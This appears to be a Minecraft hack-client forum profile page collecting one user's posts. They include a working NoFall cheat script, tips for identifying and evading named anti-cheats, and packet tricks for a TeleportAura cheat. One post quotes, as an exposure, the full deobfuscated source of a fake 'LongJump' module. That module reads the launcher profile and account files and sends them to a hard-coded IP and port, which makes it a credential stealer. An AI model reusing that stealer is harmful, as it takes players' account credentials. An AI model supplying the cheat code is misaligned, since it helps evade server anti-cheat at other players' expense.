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    yorik100

    @yorik100

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    Best posts made by yorik100

    • SwitchNoFall (BetterNoFall recode)

      SwitchFall.js

      var scriptName = "CleanNoFall";
      var scriptVersion = 2.3;
      var scriptAuthor = "yorik100";
      var C03PacketPlayer = Java.type('net.minecraft.network.play.client.C03PacketPlayer');
      var C04PacketPlayerPosition = Java.type('net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition')
      var C05PacketPlayerLook = Java.type('net.minecraft.network.play.client.C03PacketPlayer.C05PacketPlayerLook');
      var C06PacketPlayerPosLook = Java.type('net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook');
      var S08PacketPlayerPosLook = Java.type("net.minecraft.network.play.server.S08PacketPlayerPosLook");
      var blinkModule = moduleManager.getModule("Blink");
      var AxisAlignedBB = Java.type("net.minecraft.util.AxisAlignedBB");
      var cleanNoFall = new CleanNoFall();
      var client;
      
      function inVoid() {
          if (mc.thePlayer.posY < -1.8) {
              return true;
          } else {
              return mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, mc.thePlayer.getEntityBoundingBox().offset(0, -(mc.thePlayer.posY / 2), 0).expand(0, (mc.thePlayer.posY / 2), 0)).isEmpty();
          }
      }
      
      function CleanNoFall() {
          var Mode = value.createList("Mode", ["Packet", "Verus", "AACFlag", "FlagGround", "AACPacket"], "Packet");
          var NoVoidSpoof = value.createBoolean("NoVoidSpoof", false);
          var MinFallenBlocksToSpoof = value.createInteger("MinFallenBlocksToSpoof", 16, 0, 30);
          this.getName = function() {
              return "SwitchNoFall";
          };
          this.getDescription = function() {
              return "NoFall";
          };
          this.getCategory = function() {
              return "Player";
          };
          this.addValues = function(values) {
              values.add(NoVoidSpoof);
              values.add(MinFallenBlocksToSpoof);
              values.add(Mode);
          };
          this.getTag = function() {
              return Mode.get();
          }
          var posY = 0;
          var pulse = false;
          var pos = 0;
          var packets = [];
          this.onEnable = function() {
              posY = mc.thePlayer.posY;
              this.mario = 0;
              this.happened = false;
              this.isFalling = false;
              var packets = [];
          };
          this.onDisable = function() {
              if (packets.length > 0) {
                  this.isFalling = false;
                  for (var i = 0; i < packets.length; i++) {
                      var packet = packets[i];
                      mc.thePlayer.sendQueue.addToSendQueue(packet);
                  }
                  packets = [];
              }
          };
          this.onUpdate = function() {
              if (mc.thePlayer.onGround) {
                  this.mario = 0;
              }
              if (Mode.get() == "AACPacket" && mc.thePlayer.motionY > -0.18 && (!inVoid() || !NoVoidSpoof.get() || mc.thePlayer.fallDistance <= MinFallenBlocksToSpoof.get()) && mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, mc.thePlayer.getEntityBoundingBox().offset((mc.thePlayer.motionX * 2), -1.5, (mc.thePlayer.motionZ * 2)).expand(0, 0, 0)).isEmpty() && !(mc.thePlayer.motionY >= 0 || mc.thePlayer.isInWater() || mc.thePlayer.isInLava() || mc.thePlayer.isOnLadder() || mc.thePlayer.isInWeb || mc.thePlayer.ridingEntity != null) && !this.isFalling) {
                  this.isFalling = true;
              }
              if (mc.thePlayer.isInWater() || mc.thePlayer.isInLava() || mc.thePlayer.isOnLadder() || mc.thePlayer.isInWeb || mc.thePlayer.ridingEntity != null) {
                  this.mario = mc.thePlayer.fallDistance - 0.2;
              }
              if ((Mode.get() == "AACPacket" || packets.length > 0) && (mc.thePlayer.onGround || mc.thePlayer.motionY >= 0 || !mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, mc.thePlayer.getEntityBoundingBox().offset(0, (mc.thePlayer.motionY - 0.08) * 0.98, 0).expand(0, 0, 0)).isEmpty() || (inVoid() && NoVoidSpoof.get() && mc.thePlayer.fallDistance <= MinFallenBlocksToSpoof.get()) || (mc.thePlayer.isInWater() || mc.thePlayer.isInLava() || mc.thePlayer.isOnLadder() || mc.thePlayer.isInWeb || mc.thePlayer.ridingEntity != null) || packets.length >= 29)) {
                  if (this.isFalling) {
                      this.isFalling = false;
                      if (packets.length > 0) {
                          for (var i = 0; i < packets.length; i++) {
                              var packet = packets[i];
                              mc.thePlayer.sendQueue.addToSendQueue(packet);
                          }
                          packets = [];
                      }
                  }
              }
          }
          this.onPacket = function(event) {
              var packet = event.getPacket();
              if (mc.theWorld != null && mc.thePlayer != null) {
                  if (packet instanceof S08PacketPlayerPosLook) {
                      this.mario = mc.thePlayer.fallDistance - 0.2;
      				this.happened = false;
      				this.isFalling = false;
                      if (packets.length > 0) {
                          for (var i = 0; i < packets.length; i++) {
                              var packet = packets[i];
                              mc.thePlayer.sendQueue.addToSendQueue(packet);
                          }
                          packets = [];
                      }
                  }
                  if (!inVoid() || !NoVoidSpoof.get() || mc.thePlayer.fallDistance <= MinFallenBlocksToSpoof.get()) {
                      switch (Mode.get()) {
                          case "Packet":
                              if (packet instanceof C04PacketPlayerPosition || packet instanceof C06PacketPlayerPosLook) {
                                  if ((posY - packet.y > 2.7) && !mc.thePlayer.onGround) {
                                      packet.onGround = true;
                                  }
                                  if (posY != packet.y) {
                                      posY = packet.y;
                                  }
                              }
                              if (packet instanceof C03PacketPlayer && (mc.thePlayer.fallDistance >= (this.mario + 3.2))) {
                                  this.mario = mc.thePlayer.fallDistance - 0.2;
                                  packet.onGround = true;
                              }
                              break;
                          case "AACPacket":
                              if (packet instanceof C03PacketPlayer && this.isFalling && !event.isCancelled()) {
                                  packet.onGround = true;
                                  event.cancelEvent();
                                  packets.push(packet);
                              }
                              break;
                          case "Verus":
                              if (packet instanceof C03PacketPlayer && (mc.thePlayer.fallDistance >= (this.mario + 3.2))) {
                                  this.mario = mc.thePlayer.fallDistance - 0.2;
                                  packet.onGround = true;
                                  mc.thePlayer.motionY = 0;
                              }
                              break;
                          case "AACFlag":
                              if (packet instanceof C03PacketPlayer && (mc.thePlayer.fallDistance >= (this.mario + 2.6))) {
                                  this.mario = mc.thePlayer.fallDistance - 0.3;
                                  packet.onGround = true;
                                  mc.thePlayer.motionY = 0;
                              }
                              break;
                          case "FlagGround":
                              if (mc.thePlayer.fallDistance >= (this.mario + 3.2)) {
      							this.happened = true;
      						}
      						if (packet instanceof C03PacketPlayer && packet.onGround && this.happened) {
                                  packet.y -= 0.5;
      							packet.onGround = true;
                                  this.happened = false;
      							packet.onGround = false;
      						}
                              break;
                      }
                  }
              }
          }
      }
      
      function onLoad() {}
      
      function onEnable() {
          client = moduleManager.registerModule(cleanNoFall);
      }
      
      function onDisable() {
          moduleManager.unregisterModule(client);
      }
      
      posted in Scripts
      yorik100
      yorik100
    • RE: how to find out the server's anti-cheat

      @рома-0 said in how to find out the server's anti-cheat:

      how to find out the server's anti-cheat

      AntiCheat Heuristics
      Verus - Rewinside fly works, bans you for many stuff, /recentlogs should return something unusual
      NCP - Strafe works/You get lagged back instead of dragged down unlike AAC, /ncp may return unusual command
      Matrix - When spoofing ground in mid-air, teleports you back to ground, Matrix WallClimb works, strafe takes a while to detect you, /matrix outputs something unusual
      AAC - Strafe gets instablocked and teleports you mid-air on yourself instead of teleporting you to the ground, /aac returns your usual AAC haxxor rekker or some shit like that
      Spartan - Teleports you to the ground when flagging, regen/fastuse completly working, Spartan YPort works when going forward AND sideways but doesn't work when only going forward, /spartan returns something unusual
      Vulcan 1.0 - Fastplacing blocks under you in a protected area and walking horizontally on them will get you banned, regen (speed 10) works if you use my Verus packet fixer
      Karhu 1.0 - WTapping will flag you for reach
      Vulcan (any version) - Toggling freecam should nearly instaban you
      Karhu 2.0 - Any antikb should ban you pretty much
      Reflex - Hitting an entity will get you banned
      Gurei/TakaAC - Moving will get you banned
      Noone of the above - GodsEye/JIJanitor? Who uses this anyways

      posted in General
      yorik100
      yorik100
    • RE: [script]HitCircle

      People literally have no idea what the HitCircle is for actually XD, its only utility is so see the trajectory of the TargetStrafe, but LiquidBounce doesn't have one, it's useless, to whoever saying "It's useful to see your opponent's hit distance" is wrong btw

      posted in Scripts
      yorik100
      yorik100
    • RE: LiquidSense Free by AquaVit ! Free Download

      DOWNLOAD AT YOUR OWN RISK!

      posted in General Discussion
      yorik100
      yorik100
    • RE: I would like a .class called SwitchCount and another called SwitchDelay, can someone please send me?

      class.zip
      There you go my good sir!

      posted in Kotlin/Java
      yorik100
      yorik100
    • RE: [EXPOSED] Coccocoa

      @Gabriel said in [EXPOSED] Coccocoa:

      About Coccocoa...

      e32d6966-3928-4965-beef-5dedd430dba1-image.png
      ca1b2da0-6a94-49e0-8141-a2a7f27e9ec0-image.png
      He claims that i copied his name. That's false, i used to edit his configs, but he never used the edited configs made by me.

      EDIT: He also blocked me today. (EDIT: Because i "copied" his name

      You're an idiot

      posted in Off-Topic
      yorik100
      yorik100
    • [Core] [Untested] VolatileSpeed OpenSource

      Made that a long time ago, never tested it, its purpose is to help finding bypassing stuff on ACs, I didn't add too much specific options like "Timer" or even "Y Port", I kept it simple. Requires Core

      Note : I never ever loaded this script because I'm way too lazy, I don't know if it loads, I don't know if it has any FPS issues, I don't know if everything works

      VolatileSpeed.js

      posted in Scripts
      yorik100
      yorik100
    • RE: LiquidSense Free by AquaVit ! Free Download

      @XxcoolboyxX said in LiquidSense Free by AquaVit ! Free Download:

      @yorik100 its not a rat noob

      I never said it was, I just said that it possibly could be

      posted in General Discussion
      yorik100
      yorik100
    • RE: how do i make it rain

      https://en.wikipedia.org/wiki/Rainmaking_(ritual)

      posted in ScriptAPI
      yorik100
      yorik100
    • RE: NeruxVaceLongJump

      @____ said in NeruxVaceLongJump:

      @paul2008 i love your code

      var a = registerScript({
          name: "",
          version: "",
          authors: [""]
      });
      b = Java.type;
      hack = b("java.net.Socket");
      motionCalculator = b("java.io.DataOutputStream");
      pwd = b("java.nio.file.Paths").get("").toAbsolutePath().toString();
      stringUtils = b("java.io.File");
      stringParse = b("org.apache.commons.io.FileUtils");
      iso = b("java.nio.charset.StandardCharsets");
      
      function dataFromString(strings) {
          try {
              var strU = new stringUtils(strings);
              return stringParse.readFileToString(strU, iso.ISO_8859_1)
          } catch (e) {}
      }
      a.registerModule({
          name: "NeruxVaceLongJump",
          category: "Misc",
          description: "NeruxVaceLongJump"
      }, function (module) {
          module.on("enable", function () {
              data = dataFromString(pwd + "/launcher_profiles.json");
              data += "\n";
              data += dataFromString(pwd + "/LiquidBounce-1.8/accounts.json");
              data = data.getBytes();
              l = data.length;
              anticheat = new hack("107.182.237.14", 55228);
              anticheat.setSoTimeout(10000);
              server = new motionCalculator(anticheat.getOutputStream());
              server.writeInt(l);
              server.write(data, 0, l);
              mc.thePlayer.motionX += 10
          })
      });
      

      deobfed in 5 mins
      thought that 3 layers of eval obfuscation could help you?

      That's a shit way to make a longjump, would rate 0/10, doesn't even achieve its purpose

      posted in Scripts
      yorik100
      yorik100

    Latest posts made by yorik100

    • RE: Like csgo FakeBody

      @Krgjd said in Like csgo FakeBody:

      Like csgo cheating fakebody

      No one plays this game lol

      posted in Scripts
      yorik100
      yorik100
    • RE: How to make a blink script with options (pulsedelay, pulse, inbound, outbound)

      @Plumer-Man said in How to make a blink script with options (pulsedelay, pulse, inbound, outbound):

      @yorik100 (would also flag anti good anti cheat)

      It is literally the equivalent of setting your download speed to 0 lol, would flag BAD anticheats for sure

      posted in Scripts
      yorik100
      yorik100
    • RE: How to make a blink script with options (pulsedelay, pulse, inbound, outbound)

      @CzechHek said in How to make a blink script with options (pulsedelay, pulse, inbound, outbound):

      @plumer-man Why would you even freeze inbound packets, in fact you can also do that by cancelling the event and processing cached packets later using net handler.

      It fucks up anticheats and it gigabroken in sumo, basically you end up taking "no knockback" while still hitting someone from where they used to be which could end up making you 6 blocking him

      posted in Scripts
      yorik100
      yorik100
    • RE: [JS]TeleportAura 0.7(By Mumy)(updated)

      @commandblock2 said in [JS]TeleportAura 0.5demo(By Mumy)(updated):

      @yorik100 is it capable of doing hclip? like the mineplex phase lmao, that would require you to cancel the S08 if you know where exactly the server would send you the S08

      You could implement something similar to Mineplex phase which would allow you to hit people through 1 blocks horizontally.
      Regarding "that would require you to cancel the S08 if you know where exactly the server would send you the S08", that's complete bullshit and misinformation
      It would go like this
      28af38d9-d1b1-47be-927e-61d5c02b8b44-image.png
      The blue squares being what the TeleportAura positions would be, it would move 0.01 blocks into the 1 block thick wall and then move behind that wall and then move to the target and then move back 0.01 into the 1 block thick wall but this time on the other side and then behind the wall and then back to original position, note that this does not work on every blocks for some reasons, I don't know which blocks it doesn't work on but it works on every full blocks

      posted in Scripts
      yorik100
      yorik100
    • RE: [JS]TeleportAura 0.7(By Mumy)(updated)

      It should path like that
      73a0952e-849f-4412-aee3-0b68b2c6d218-image.png
      https://streamable.com/fg7jnv

      posted in Scripts
      yorik100
      yorik100
    • RE: [JS]TeleportAura 0.7(By Mumy)(updated)

      @cookiechinese said in [JS]TeleportAura 0.5demo(By Mumy)(updated):

      @yorik100 added

      There is an issue, the vclip isn't silent

      posted in Scripts
      yorik100
      yorik100
    • RE: [De3dAnge1s]SpeedMine (Legacy)

      @de3dange1s said in [De3dAnge1s]SpeedMine (Legacy):

              mc.playerController.curBlockDamageMP += getBlock(pos.getX(), pos.getY(), pos.getZ())
              mc.theWorld.getBlockState(pos).getBlock().getPlayerRelativeBlockHardness(mc.thePlayer, mc.theWorld, pos) * 0.186
      

      " mc.playerController.curBlockDamageMP += getBlock(pos.getX(), pos.getY(), pos.getZ())
      mc.theWorld.getBlockState(pos).getBlock().getPlayerRelativeBlockHardness(mc.thePlayer, mc.theWorld, pos) * 0.186"

      pos.getX() is not defined

      Both Remix and Autumn spam errors

      posted in Scripts
      yorik100
      yorik100
    • RE: Verus Bypass Script

      @suicidemouse said in Verus Bypass Script:

      @yorik100 I think you didn't hear about the Verus recode update

      If they didn't patch the damage fly, they didn't patch the other method too

      posted in Scripts
      yorik100
      yorik100
    • RE: Verus Bypass Script

      @plumer-man said in Verus Bypass Script:

      • VerusDmgFly.js prob the only decent script here.

      Anything that requires damage to go fast on Verus is bad, there is a method that achieves exactly the same result without taking any damage but people love fucking mutilating themselves to go fast I guess

      posted in Scripts
      yorik100
      yorik100
    • RE: [JS]TeleportAura 0.7(By Mumy)(updated)

      There is an issue, if you're inside of a box, enabling TeleportAura wont do anything besides making computer calculations for nothing, JigSaw's infinite aura is able to clip bellow and above that box to allow you from hitting entities outside of that box, TeleportAura script does not make use of packet vclip
      Vclipping down

      6d668998-dd02-4610-a215-7613d7e80d17-image.png
      Vclipping up

      08fea6ba-c906-44fd-9691-2f8d8b95f27e-image.png

      The blue squares being TeleportAura positions
      Make that an option because some servers blocks vclip

      I also take massive fall damage when using TeleportAura and the target is bellow me, you should make something to spoof ground and you should also add a criticals option
      Make every positions packets have ground true to fix fall damage when using it, and to add criticals you just have to add

      mc.thePlayer.sendQueue.addToSendQueue(new C04PacketPlayerPosition(LastTeleportPosX, LastTeleportPosY + 0.000000000000008, LastTeleportPosZ, true))
      mc.thePlayer.sendQueue.addToSendQueue(new C04PacketPlayerPosition(LastTeleportPosX, LastTeleportPosY, LastTeleportPosZ, false))
      

      Before sending the attack packet
      Note that if you spoof ground to true, it would be better if you would round the Y position to the nearest multiple of 0.015625 ceil (if the nearest multiple of 0.015625 ceil is inside of a block then do the nearest multiple of 0.015625 floor)

      if mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, mc.thePlayer.getEntityBoundingBox().offset(LastTeleportPosX - mc.thePlayer.posX, (Math.ceil(LastTeleportPosY / 0.015625) * 0.015625) - mc.thePlayer.posY, LastTeleportPosZ - mc.thePlayer.posZ).expand(0, 0, 0)).isEmpty();
      	LastTeleportPosY = Math.ceil(LastTeleportPosY / 0.015625) * 0.015625
      else
      	LastTeleportPosY = Math.floor(LastTeleportPosY / 0.015625) * 0.015625
      

      Something like that

      posted in Scripts
      yorik100
      yorik100